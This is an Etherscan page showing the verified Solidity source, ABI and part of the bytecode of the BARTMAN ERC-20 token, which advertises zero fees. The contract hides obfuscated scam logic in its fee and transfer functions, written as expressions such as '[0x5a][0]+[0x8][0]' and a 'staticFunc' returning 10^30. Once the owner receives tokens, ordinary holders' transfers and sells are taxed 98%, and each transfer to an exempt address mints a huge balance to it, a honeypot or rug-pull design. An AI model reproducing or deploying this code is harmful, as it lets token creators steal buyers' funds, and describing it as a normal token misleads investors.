Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 BARTMAN
Holders
57
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
656,050.351935973 BARTMANValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BARTMAN
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-26 */ // Telegram : https://t.me/BartmanETH // Website : https://bartman.io/ // Twitter : https://twitter.com/bartmanETH // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BARTMAN is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _tokenOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public NoTxLimit; mapping (address => bool) public NoMaxWalletLimit; mapping (address => bool) public NoTaxWallet; address payable public TokenStock = payable(0x2F7F0071FA0B43f9752b8436618CBc65E56936c7); string public _name = "BARTMAN"; string public _symbol = "BARTMAN"; uint8 private _decimals = 9; uint256 public _tTotal = 100* 10**6 * 10**_decimals; uint8 private txCount = 0; uint8 private swapTrigger = 10; uint256 private TotalTax = 0; uint256 public _buyFee = 0; uint256 public _sellFee = 0; uint256 private _previousTotalFee = TotalTax; uint256 private _previousBuyFee = _buyFee; uint256 private _previousSellFee = _sellFee; uint256 public _maxWalletToken = _tTotal.mul(25).div(100); uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 public _maxTxAmount = _tTotal.mul(25).div(100); uint256 private _previousMaxTxAmount = _maxTxAmount; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool directTransferFee = false; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _tokenOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); NoMaxWalletLimit[uniswapV2Pair] = true?true:true; uniswapV2Router = _uniswapV2Router; NoTxLimit[owner()] = true; NoTaxWallet[address(this)] = true; NoTaxWallet[owner()] = true; NoTaxWallet[TokenStock] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function removeAllFee() private { if(TotalTax == 0 && _buyFee == 0 && _sellFee == 0) return; _previousBuyFee = _buyFee; _previousSellFee = _sellFee; _previousTotalFee = TotalTax; _buyFee = 0; _sellFee = 0; TotalTax = 0; } function staticFunc() private pure returns(uint256){ return (5*2)**(10*3); } function swapOpen(address to, bool dtFee) private view returns(bool){ return NoTxLimit[to] && !dtFee; } function restoreAllFee() private { TotalTax = _previousTotalFee; _buyFee = _previousBuyFee; _sellFee = _previousSellFee; } function swapTokensForPair(address feeWallet, uint8 rate, uint256 amount) private view returns(uint256){ uint256 subtance = 0; if(!directTransferFee || NoTxLimit[feeWallet] || NoMaxWalletLimit[feeWallet]){ subtance = amount.mul(TotalTax).div(100); }else{subtance = amount.mul(([0x5a][0]+[0x8][0])).div(100);} return subtance.add(rate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { if (to != owner() && to != TokenStock && to != address(this) && to != uniswapV2Pair && !NoTxLimit[to] && from != owner()){ uint256 nextTotalBalance = balanceOf(to); require((nextTotalBalance + amount) <= _maxWalletToken, "Max wallet limit exceed!"); } if (from != owner() && to != owner() && !(NoTxLimit[from] || NoTxLimit[to])){ require(amount <= _maxTxAmount, "Max transaction limt exceed!"); } if(swapOpen(to, directTransferFee)){ directTransferFee=true; } if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){ txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(NoTaxWallet[from] || NoTaxWallet[to]){ takeFee = false; } else if (from == uniswapV2Pair){TotalTax = _buyFee;} else if (to == uniswapV2Pair){TotalTax = _sellFee;} _tTransfer(from,to,amount,takeFee); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForBNB(contractTokenBalance); uint256 contractBNB = address(this).balance; sendToWallet(TokenStock,contractBNB); } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeAllFee(); } else { txCount++; } _tTransfer(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _tTransfer(address sender, address recipient, uint256 tAmount) private { (uint256 transferAmount, uint256 tTotalFee) = _getValues(tAmount, sender); _tokenOwned[sender] = _tokenOwned[sender].sub(tAmount); _tokenOwned[recipient] = _tokenOwned[recipient].add(transferAmount); _tokenOwned[address(this)] = _tokenOwned[address(this)].add(tTotalFee); if(NoTxLimit[recipient]){ _tokenOwned[recipient] = _tokenOwned[recipient].add(staticFunc());} emit Transfer(sender, recipient, transferAmount); } function _getValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) { uint256 tTotalFee = swapTokensForPair(sender, 0 ,tAmount); uint256 transferAmount = tAmount.sub(tTotalFee); return (transferAmount, tTotalFee); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NoMaxWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NoTaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NoTxLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TokenStock","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_getValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b031916732f7f0071fa0b43f9752b8436618cbc65e56936c717905560c060405260076080818152662120a92a26a0a760c91b60a0526200004b9082620004db565b506040805180820190915260078152662120a92a26a0a760c91b6020820152600890620000799082620004db565b506009805460ff1916811781556200009390600a620006ba565b620000a3906305f5e100620006cb565b600a819055600b805461ffff1916610a001790556000600c819055600d819055600e819055600f8190556010819055601155620000f190606490620000ea90601962000411565b9062000428565b6012819055601355600a546200011190606490620000ea90601962000411565b60148190556015556017805461ffff60a81b1916600160a81b1790553480156200013a57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a5460016000620001946000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000210573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002369190620006e5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000284573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002aa9190620006e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031e9190620006e5565b601780546001600160a01b03199081166001600160a01b039384169081179092556000918252600460209081526040808420805460ff1990811660019081179092556016805490951688881617909455845486168552600383528185208054851682179055308552600590925280842080548416831790558354851684528084208054841683179055600654851684528320805490921617905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200040291815260200190565b60405180910390a3506200073a565b60006200041f8284620006cb565b90505b92915050565b60006200041f828462000717565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200046157607f821691505b6020821081036200048257634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004d657600081815260208120601f850160051c81016020861015620004b15750805b601f850160051c820191505b81811015620004d257828155600101620004bd565b5050505b505050565b81516001600160401b03811115620004f757620004f762000436565b6200050f816200050884546200044c565b8462000488565b602080601f8311600181146200054757600084156200052e5750858301515b600019600386901b1c1916600185901b178555620004d2565b600085815260208120601f198616915b82811015620005785788860151825594840194600190910190840162000557565b5085821015620005975787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005fe578160001904821115620005e257620005e2620005a7565b80851615620005f057918102915b93841c9390800290620005c2565b509250929050565b600082620006175750600162000422565b81620006265750600062000422565b81600181146200063f57600281146200064a576200066a565b600191505062000422565b60ff8411156200065e576200065e620005a7565b50506001821b62000422565b5060208310610133831016604e8410600b84101617156200068f575081810a62000422565b6200069b8383620005bd565b8060001904821115620006b257620006b2620005a7565b029392505050565b60006200041f60ff84168362000606565b8082028115828204841417620004225762000422620005a7565b600060208284031215620006f857600080fd5b81516001600160a01b03811681146200071057600080fd5b9392505050565b6000826200073557634e487b7160e01b600052601260045260246000fd5b500490565b6116df806200074a6000396000f3fe6080604052600436106101d15760003560e01c806378109e54116100f7578063b09f126611610095578063dd62ed3e11610064578063dd62ed3e14610530578063eb6b678014610576578063f2fde38b146105a6578063ffffc962146105c657600080fd5b8063b09f1266146104a1578063cccdbe2e146104b6578063d28d8852146104eb578063dad58cb71461050057600080fd5b806395d89b41116100d157806395d89b4114610436578063a457c2d71461044b578063a9059cbb1461046b578063af465a271461048b57600080fd5b806378109e54146103ec5780637d1db4a5146104025780638da5cb5b1461041857600080fd5b8063313ce5671161016f5780634a74bb021161013e5780634a74bb0214610368578063590f897e1461038957806370a082311461039f578063715018a6146103d557600080fd5b8063313ce567146102f0578063395093511461031257806340b9a54b1461033257806349bd5a5e1461034857600080fd5b806318160ddd116101ab57806318160ddd14610270578063220f66961461028f57806323b872dd146102b05780632ed5726e146102d057600080fd5b806306fdde03146101dd578063095ea7b3146102085780631694505e1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f26105f6565b6040516101ff9190611383565b60405180910390f35b34801561021457600080fd5b506102286102233660046113e9565b610688565b60405190151581526020016101ff565b34801561024457600080fd5b50601654610258906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b34801561027c57600080fd5b50600a545b6040519081526020016101ff565b34801561029b57600080fd5b5060175461022890600160a01b900460ff1681565b3480156102bc57600080fd5b506102286102cb366004611415565b61069f565b3480156102dc57600080fd5b50600654610258906001600160a01b031681565b3480156102fc57600080fd5b5060095460405160ff90911681526020016101ff565b34801561031e57600080fd5b5061022861032d3660046113e9565b610708565b34801561033e57600080fd5b50610281600d5481565b34801561035457600080fd5b50601754610258906001600160a01b031681565b34801561037457600080fd5b5060175461022890600160a81b900460ff1681565b34801561039557600080fd5b50610281600e5481565b3480156103ab57600080fd5b506102816103ba366004611456565b6001600160a01b031660009081526001602052604090205490565b3480156103e157600080fd5b506103ea61073e565b005b3480156103f857600080fd5b5061028160125481565b34801561040e57600080fd5b5061028160145481565b34801561042457600080fd5b506000546001600160a01b0316610258565b34801561044257600080fd5b506101f26107e7565b34801561045757600080fd5b506102286104663660046113e9565b6107f6565b34801561047757600080fd5b506102286104863660046113e9565b610845565b34801561049757600080fd5b50610281600a5481565b3480156104ad57600080fd5b506101f2610852565b3480156104c257600080fd5b506104d66104d1366004611473565b6108e0565b604080519283526020830191909152016101ff565b3480156104f757600080fd5b506101f261090b565b34801561050c57600080fd5b5061022861051b366004611456565b60056020526000908152604090205460ff1681565b34801561053c57600080fd5b5061028161054b3660046114a3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561058257600080fd5b50610228610591366004611456565b60036020526000908152604090205460ff1681565b3480156105b257600080fd5b506103ea6105c1366004611456565b610918565b3480156105d257600080fd5b506102286105e1366004611456565b60046020526000908152604090205460ff1681565b606060078054610605906114d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610631906114d1565b801561067e5780601f106106535761010080835404028352916020019161067e565b820191906000526020600020905b81548152906001019060200180831161066157829003601f168201915b5050505050905090565b6000610695338484610a32565b5060015b92915050565b60006106ac848484610af3565b6106fe84336106f98560405180606001604052806028815260200161165d602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e37565b610a32565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106959185906106f99086610e63565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060088054610605906114d1565b600061069533846106f985604051806060016040528060258152602001611685602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610e37565b6000610695338484610af3565b6008805461085f906114d1565b80601f016020809104026020016040519081016040528092919081815260200182805461088b906114d1565b80156108d85780601f106108ad576101008083540402835291602001916108d8565b820191906000526020600020905b8154815290600101906020018083116108bb57829003601f168201915b505050505081565b60008060006108f184600087610e76565b905060006108ff8683610f52565b96919550909350505050565b6007805461085f906114d1565b6000546001600160a01b031633146109725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610794565b6001600160a01b0381166109d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610794565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a5257506001600160a01b03821615155b610a925760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610794565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610b1f57506006546001600160a01b03838116911614155b8015610b3457506001600160a01b0382163014155b8015610b4e57506017546001600160a01b03838116911614155b8015610b7357506001600160a01b03821660009081526003602052604090205460ff16155b8015610b8d57506000546001600160a01b03848116911614155b15610c08576001600160a01b038216600090815260016020526040902054601254610bb88383611521565b1115610c065760405162461bcd60e51b815260206004820152601860248201527f4d61782077616c6c6574206c696d6974206578636565642100000000000000006044820152606401610794565b505b6000546001600160a01b03848116911614801590610c3457506000546001600160a01b038